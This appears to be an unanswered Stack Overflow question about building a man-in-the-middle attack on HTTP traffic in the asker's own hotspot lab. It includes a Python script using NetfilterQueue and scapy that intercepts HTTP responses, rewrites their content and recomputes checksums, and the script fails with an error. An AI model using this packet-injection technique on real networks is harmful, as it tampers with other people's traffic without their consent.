2

I'm trying to construct a man in the middle attack on a webpage (i.e. HTTP traffic). I'm doing this by using a Linux machine attached to Ethernet and a client attached to the Linux box via its WiFi hotspot.

What I've done so far is use NFQueue from within the IPTables Linux firewall to route all TCP packets on the FORWARD chain to the NFQueue queue, which a Python script is picking up and then processing those rules. I'm able to read the data off of the HTTP response packets, but whenever I try to modify them and pass them back (accept the packets), I'm getting an error regarding the strings:

Exception AttributeError: "'str' object has no attribute 'build_padding'" in 'netfilterqueue.global_callback' ignored

My code is here, which includes things that I've tried that didn't work. Notably, I'm using a third-party extension for scapy called scapy_http that may be interfering with things, and I'm using a webpage that is not being compressed by gzip because that was messing with things as well. The test webpage that I'm using is here.

#scapy
from scapy.all import *

#nfqueue import
from netfilterqueue import NetfilterQueue

#scapy http extension, not really needed
import scapy_http.http

#failed gzip decoding, also tried some other stuff
#import gzip

def print_and_accept(packet):
    #convert nfqueue datatype to scapy-compatible
    pkt = IP(packet.get_payload())

    #is this an HTTP response?
    if pkt[TCP].sport == 80:
        #legacy trial that doesn't work
        #data = packet.get_data()
        print('HTTP Packet Found')

        #check what's in the payload
        stringLoad = str(pkt[TCP].payload)

        #deleted because printing stuff out clogs output
        #print(stringLoad)

        #we only want to modify a specific packet:
        if "<title>Acids and Bases: Use of the pKa Table</title>" in stringLoad:
            print('Target Found')

            #strings kind of don't work, I think this is a me problem
            #stringLoad.replace('>Acids and Bases: Use of the pK<sub>a</sub>', 'This page has been modified: a random ')
            #pkt[TCP].payload = stringLoad


            #https://stackoverflow.com/questions/27293924/change-tcp-payload-with-nfqueue-scapy
            payload_before = len(pkt[TCP].payload)

            # I suspect this line is a problem: the string assigns,
            # but maybe under the hood scapy doesn't like that very much
            pkt[TCP].payload = str(pkt[TCP].payload).replace("Discussion", "This page has been modified")

            #recalculate length
            payload_after = len(pkt[TCP].payload)

            payload_dif = payload_after - payload_before

            pkt[IP].len = pkt[IP].len + payload_dif

            #recalculate checksum
            del pkt[TCP].chksum
            del pkt[IP].chksum
            del pkt.chksum


            print('Packet Modified')
            #redudant
            #print(stringLoad)

            #this throws an error (I think)
            print(str(pkt[TCP].payload))
            #no clue if this works or not yet
            #goal here is to reassign modified packet to original parameter
            packet.set_payload(str(pkt))

            #this was also throwing the error, so tried to move away from it
            #print(pkt.show2())

        #bunch of legacy code that didn't work
        #print(GET_print(pkt))
        #print(pkt.show())
        #decompressed_data = zlib.decompress(str(pkt[TCP].payload), 16 + zlib.MAX_WBITS)
        #print(decompressed_data)
        #print(str(gzip.decompress(pkt[TCP].payload)))
        # print(pkt.getlayer(Raw).load)

        #print('HTTP Contents Shown')

    packet.accept()

def GET_print(packet1):
    ret = "***************************************GET PACKET****************************************************\n"
    ret += "\n".join(packet1.sprintf("{Raw:%Raw.load%}\n").split(r"\r\n"))
    ret += "*****************************************************************************************************\n"
    return ret

print('Test: Modify a very specific target')
print('Program Starting')
nfqueue = NetfilterQueue()
nfqueue.bind(1, print_and_accept)
try:
    print('Packet Interface Starting')
    nfqueue.run()
except KeyboardInterrupt:
    print('\nProgram Ending')

nfqueue.unbind()

Apologies in advance if this is hard to read or badly formatted code; Python isn't a language that I write in often. Any help is greatly appreciated!

efirvida
  • 4,592
  • 3
  • 42
  • 68

0 Answers0